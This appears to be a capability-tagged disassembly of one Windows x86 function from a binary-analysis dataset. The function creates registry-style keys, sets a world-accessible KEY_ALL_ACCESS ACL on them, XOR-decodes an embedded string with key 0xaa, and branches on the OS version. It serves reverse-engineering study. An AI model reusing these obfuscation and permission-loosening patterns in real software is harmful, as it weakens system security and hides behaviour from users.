Function at 0x406800
Capabilities:
Check os version
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
push edi
push esi
push ebx
sub esp, 0x4c4
mov esi, ecx
mov ebx, edx
mov edi, eax
pxor xmm0, xmm0
movaps xmmword [esp + 0x280], xmm0
movaps xmmword [esp + 0x290], xmm0
movaps xmmword [esp + 0x2a0], xmm0
movaps xmmword [esp + 0x2b0], xmm0
mov dword [esp + 0x2cc], edi
mov dword [esp + 0x2c0], esi
xor eax, eax
mov dword [esp + 0x2c4], eax
mov dword [esp + 0x10], eax
push 0x5c
push ebx
call dword [sym.imp.MSVCR80.dll_strchr]
add esp, 8
mov esi, eax
test esi, esi
je 0x407104
mov edi, esi
sub edi, ebx
test edi, edi
jle 0x4068b9
lea eax, [edi + 1]
push eax
call dword [sym.imp.MSVCR80.dll_malloc]
mov edx, dword [esp + 0x2c8]
mov dword [esp + edx*4 + 0x284], eax
push edi
push ebx
push eax
mov dword [esp + 0x24], eax
call fcn.00425570
mov eax, dword [esp + 0x24]
add esp, 0x10
mov byte [eax + edi], 0
inc dword [esp + 0x2c4]
cmp dword [esp + 0x10], 0
jne 0x4068be
cmp dword [esp + 0x2c4], 0xf
je 0x4068be
lea ebx, [esi + 1]
jmp 0x406854
mov edi, dword [esp + 0x2cc]
mov esi, dword [esp + 0x2c0]
xor eax, eax
pxor xmm0, xmm0
cmp dword [esp + 0x2c4], 0
jle 0x406bf9
mov ecx, dword [esp + 0x2c4]
mov dword [esp + 0x2c0], esi
mov ebx, eax
lea edx, [ecx - 1]
mov dword [esp + 0x2c8], edx
mov edx, dword [esp + ebx*4 + 0x280]
mov dword [esp + 0x2d0], edx
mov ecx, edx
and edx, 0xfffffff0
pxor xmm0, xmm0
pcmpeqb xmm0, xmmword [edx]
pmovmskb eax, xmm0
and ecx, 0xf
shr eax, cl
bsf eax, eax
jne 0x40692c
mov eax, edx
add edx, ecx
call fcn.00425520
mov edx, eax
test ebx, ebx
jne 0x40693e
cmp edi, reloc.OLEAUT32.dll_SysReAllocString
je 0x406ceb
lea ecx, [edx + edx]
mov dword [esp + 0x2d4], ecx
lea esi, [edx + edx + 2]
push esi
mov dword [esp + 0x2dc], edx
call dword [sym.imp.MSVCR80.dll_malloc]
mov edx, dword [esp + 0x2dc]
mov esi, eax
inc edx
push edx
push dword [esp + 0x2d8]
push esi
call dword [sym.imp.MSVCR80.dll_mbstowcs]
push 0x7e
push esi
call dword [sym.imp.MSVCR80.dll_wcschr]
add esp, 0x18
test eax, eax
je 0x4069a9
mov dword [esp + 0x2cc], edi
xor edi, edi
push 0x7e
mov word [eax], di
add eax, 2
push eax
call dword [sym.imp.MSVCR80.dll_wcschr]
add esp, 8
test eax, eax
jne 0x40698c
mov edi, dword [esp + 0x2cc]
cmp dword [0x56e6e0], 0
mov eax, dword [esp + 0x2d4]
mov dword [esp + 0x4b0], esi
mov dword [esp + 0x494], 0x18
mov word [esp + 0x4ac], ax
mov dword [esp + 0x4a0], 0x40
mov dword [esp + 0x498], edi
lea edx, [esp + 0x4ac]
mov dword [esp + 0x49c], edx
je 0x40704c
mov dword [esp + 0x4a4], 0x56e6ec
lea eax, [esp + 0x4b8]
xor edx, edx
mov dword [esp + 0x4a8], edx
push eax
push edx
push edx
push edx
lea ecx, [esp + 0x4a4]
push ecx
push 0x20000
lea eax, [esp + 0x4cc]
push eax
call dword [0x56e700]
test eax, eax
jl 0x407038
cmp dword [esp + 0x4b8], 1
je 0x406adf
cmp ebx, dword [esp + 0x2c8]
jne 0x406adf
cmp dword [0x55b684], 0
mov eax, dword [esp + 0x4b4]
mov dword [esp + 0x27c], eax
mov dword [esp + 0x484], 0
jl 0x406df3
lea edx, [esp + 0x488]
lea ecx, [esp + 0x484]
push ecx
mov eax, 4
xor ecx, ecx
push ecx
push edx
push ecx
push ecx
push eax
push eax
push dword [esp + 0x298]
call dword [sym.imp.ADVAPI32.dll_GetSecurityInfo]
mov edx, 0x20000004
mov eax, 4
cmp dword [0x55b684], 0
cmovne eax, edx
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push eax
push 4
push dword [esp + 0x294]
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
mov eax, dword [esp + 0x484]
test eax, eax
je 0x406adf
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [esp + 0x4b4]
call dword [0x56e6b8]
mov eax, 0x20003
mov ecx, 0x2000c
cmp ebx, dword [esp + 0x2c8]
cmove ecx, eax
lea edx, [esp + 0x494]
push edx
push ecx
lea eax, [esp + 0x4bc]
push eax
call dword [0x56e6ac]
test eax, eax
jge 0x406b4b
cmp ebx, dword [esp + 0x2c8]
jge 0x406efd
lea eax, [esp + 0x494]
push eax
push 0x20008
lea edx, [esp + 0x4bc]
push edx
call dword [0x56e6ac]
test eax, eax
jl 0x406ee1
push esi
call dword [sym.imp.MSVCR80.dll_free]
pop ecx
cmp ebx, dword [esp + 0x2c8]
jne 0x406bd4
cmp dword [0x55b684], 0
mov esi, dword [esp + 0x4b4]
mov dword [esp + 0x48c], 0
jl 0x406f2b
lea edx, [esp + 0x490]
lea ecx, [esp + 0x48c]
push ecx
mov eax, 4
xor ecx, ecx
push ecx
push edx
push ecx
push ecx
push eax
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_GetSecurityInfo]
mov edx, 0x20000004
mov eax, 4
cmp dword [0x55b684], 0
cmovne eax, edx
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push eax
push 4
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
mov eax, dword [esp + 0x48c]
test eax, eax
je 0x406bd4
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call dword [0x56e6b8]
mov edi, dword [esp + 0x4b4]
inc ebx
cmp ebx, dword [esp + 0x2c4]
jl 0x4068fa
mov esi, dword [esp + 0x2c0]
xor eax, eax
mov ebx, eax
mov edx, dword [esp + ebx*4 + 0x280]
test edx, edx
je 0x406c0e
push edx
call dword [sym.imp.MSVCR80.dll_free]
pop ecx
inc ebx
cmp ebx, 0x10
jb 0x406bfb
mov edx, esi
mov ecx, edx
and edx, 0xfffffff0
pxor xmm0, xmm0
pcmpeqb xmm0, xmmword [edx]
pmovmskb eax, xmm0
and ecx, 0xf
shr eax, cl
bsf eax, eax
jne 0x406c3a
mov eax, edx
add edx, ecx
call fcn.00425520
lea ebx, [esp + 0x27c]
inc eax
push eax
push esi
push ebx
call dword [sym.imp.MSVCR80.dll_mbstowcs]
add esp, 0xc
mov esi, dword [ebp + 0x14]
mov edx, esi
mov ecx, edx
and edx, 0xfffffff0
pxor xmm0, xmm0
pcmpeqb xmm0, xmmword [edx]
pmovmskb eax, xmm0
and ecx, 0xf
shr eax, cl
bsf eax, eax
jne 0x406c77
mov eax, edx
add edx, ecx
call fcn.00425520
lea edi, [esp + 0x37c]
inc eax
push eax
push esi
push edi
call dword [sym.imp.MSVCR80.dll_mbstowcs]
mov dword [esp + 0x48c], ebx
push ebx
call dword [sym.imp.MSVCR80.dll_wcslen]
add eax, eax
mov word [esp + 0x48c], ax
push edi
call dword [sym.imp.MSVCR80.dll_wcslen]
add esp, 0x14
lea edx, [esp + 0x47c]
lea eax, [eax + eax + 2]
push eax
push edi
push 1
push 0
push edx
push dword [esp + 0x4c8]
call dword [0x56e704]
test eax, eax
jl 0x406f19
push dword [esp + 0x4b4]
call dword [0x56e6b8]
add esp, 0x4c4
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret
lea edx, [esp + 0x1fc]
mov eax, str.9vjPzcPZ3tjT9ufLycLDxM8
call fcn.00412560
mov eax, str.9vjPzcPZ3tjT9ufLycLDxM8
call fcn.00412890
mov byte [esp + eax + 0x1fc], 0
movzx eax, byte [esp + 0x1fc]
test eax, eax
lea ecx, [esp + 0x1fd]
lea edx, [esp + 0x1fc]
je 0x406d38
xor eax, 0xaa
mov byte [edx], al
movzx eax, byte [ecx]
inc edx
inc ecx
test eax, eax
jne 0x406d28
lea edx, [esp + 0xac]
push dword [esp + 0x2d0]
lea eax, [esp + 0x200]
push eax
push 0x53f854
push edx
call dword [sym.imp.MSVCR80.dll_sprintf]
push dword [esp + 0x2e0]
call dword [sym.imp.MSVCR80.dll_free]
add esp, 0x14
lea edx, [esp + 0xac]
mov ecx, edx
and edx, 0xfffffff0
pxor xmm0, xmm0
pcmpeqb xmm0, xmmword [edx]
pmovmskb eax, xmm0
and ecx, 0xf
shr eax, cl
bsf eax, eax
jne 0x406d95
mov eax, edx
add edx, ecx
call fcn.00425520
inc eax
push eax
call dword [sym.imp.MSVCR80.dll_malloc]
pop ecx
mov dword [esp + 0x2d0], eax
mov esi, eax
mov dword [esp + ebx*4 + 0x280], esi
lea edi, [esp + 0xac]
mov dl, byte [edi]
inc edi
mov byte [esi], dl
inc esi
test dl, dl
jne 0x406db5
mov edx, dword [esp + 0x2d0]
mov ecx, edx
and edx, 0xfffffff0
pxor xmm0, xmm0
pcmpeqb xmm0, xmmword [edx]
pmovmskb eax, xmm0
and ecx, 0xf
shr eax, cl
bsf eax, eax
jne 0x406dea
mov eax, edx
add edx, ecx
call fcn.00425520
mov edx, eax
xor edi, edi
jmp 0x40693e
mov eax, 0x80
pxor xmm0, xmm0
movaps xmmword [eax + 0x56c510], xmm0
movaps xmmword [eax + 0x56c500], xmm0
movaps xmmword [eax + 0x56c4f0], xmm0
movaps xmmword [eax + 0x56c4e0], xmm0
sub eax, 0x40
jne 0x406df8
mov eax, 0x80
pxor xmm0, xmm0
movaps xmmword [esp + 0x90], xmm0
movq qword [esp + 0xa0], xmm0
movd dword [esp + 0xa8], xmm0
pxor xmm0, xmm0
movaps xmmword [esp + eax], xmm0
movaps xmmword [esp + eax - 0x10], xmm0
movaps xmmword [esp + eax - 0x20], xmm0
movaps xmmword [esp + eax - 0x30], xmm0
sub eax, 0x40
jne 0x406e40
mov dword [esp + 0x10], 0x9c
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x406e8a
mov dword [esp + 0x10], 0x94
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x406ed2
mov eax, dword [esp + 0x14]
cmp eax, 6
jne 0x406ea2
mov dword [0x55b684], 1
jmp 0x406a7a
cmp eax, 5
jne 0x406ed2
mov eax, dword [esp + 0x18]
cmp eax, 1
jb 0x406ebf
mov dword [0x55b684], 1
jmp 0x406a7a
test eax, eax
jne 0x406ed2
mov dword [0x55b684], 1
jmp 0x406a7a
mov dword [0x55b684], 0
jmp 0x406a7a
push esi
call dword [sym.imp.MSVCR80.dll_free]
pop ecx
push edi
call dword [0x56e6b8]
add esp, 0x4c4
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.MSVCR80.dll_free]
pop ecx
push edi
call dword [0x56e6b8]
add esp, 0x4c4
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret
push dword [esp + 0x4b4]
call dword [0x56e6b4]
jmp 0x406cd1
mov eax, 0x80
pxor xmm0, xmm0
movaps xmmword [eax + 0x56c510], xmm0
movaps xmmword [eax + 0x56c500], xmm0
movaps xmmword [eax + 0x56c4f0], xmm0
movaps xmmword [eax + 0x56c4e0], xmm0
sub eax, 0x40
jne 0x406f30
mov eax, 0x80
pxor xmm0, xmm0
movaps xmmword [esp + 0x1e0], xmm0
movq qword [esp + 0x1f0], xmm0
movd dword [esp + 0x1f8], xmm0
pxor xmm0, xmm0
movaps xmmword [esp + eax + 0x150], xmm0
movaps xmmword [esp + eax + 0x140], xmm0
movaps xmmword [esp + eax + 0x130], xmm0
movaps xmmword [esp + eax + 0x120], xmm0
sub eax, 0x40
jne 0x406f78
mov dword [esp + 0x160], 0x9c
lea eax, [esp + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x406fdb
mov dword [esp + 0x160], 0x94
lea eax, [esp + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x407029
mov eax, dword [esp + 0x164]
cmp eax, 6
jne 0x406ff6
mov dword [0x55b684], 1
jmp 0x406b7b
cmp eax, 5
jne 0x407029
mov eax, dword [esp + 0x168]
cmp eax, 1
jb 0x407016
mov dword [0x55b684], 1
jmp 0x406b7b
test eax, eax
jne 0x407029
mov dword [0x55b684], 1
jmp 0x406b7b
mov dword [0x55b684], 0
jmp 0x406b7b
push esi
call dword [sym.imp.MSVCR80.dll_free]
add esp, 0x4c8
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret
push 0x56e6e4
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 1
push 0x55b71c
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4070d3
pxor xmm0, xmm0
movaps xmmword [0x56e670], xmm0
movaps xmmword [0x56e680], xmm0
mov eax, dword [0x56e6e4]
mov dword [0x56e670], 0xf003f
mov ecx, 1
xor edx, edx
mov dword [0x56e688], 5
mov dword [0x56e674], ecx
mov dword [0x56e678], edx
push 0x56e6e8
push edx
push 0x56e670
push ecx
mov dword [0x56e684], edx
mov dword [0x56e68c], eax
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclA]
push dword [0x56e6e8]
call dword [sym.imp.ADVAPI32.dll_IsValidAcl]
push 1
push 0x56e6ec
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push dword [0x56e6e8]
push 1
push 0x56e6ec
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov dword [0x56e6e0], 1
jmp 0x4069f7
mov edx, ebx
mov ecx, edx
and edx, 0xfffffff0
pxor xmm0, xmm0
pcmpeqb xmm0, xmmword [edx]
pmovmskb eax, xmm0
and ecx, 0xf
shr eax, cl
bsf eax, eax
jne 0x40712a
mov eax, edx
add edx, ecx
call fcn.00425520
mov edi, eax
test edi, edi
jle 0x4068be
mov dword [esp + 0x10], 1
jmp 0x406872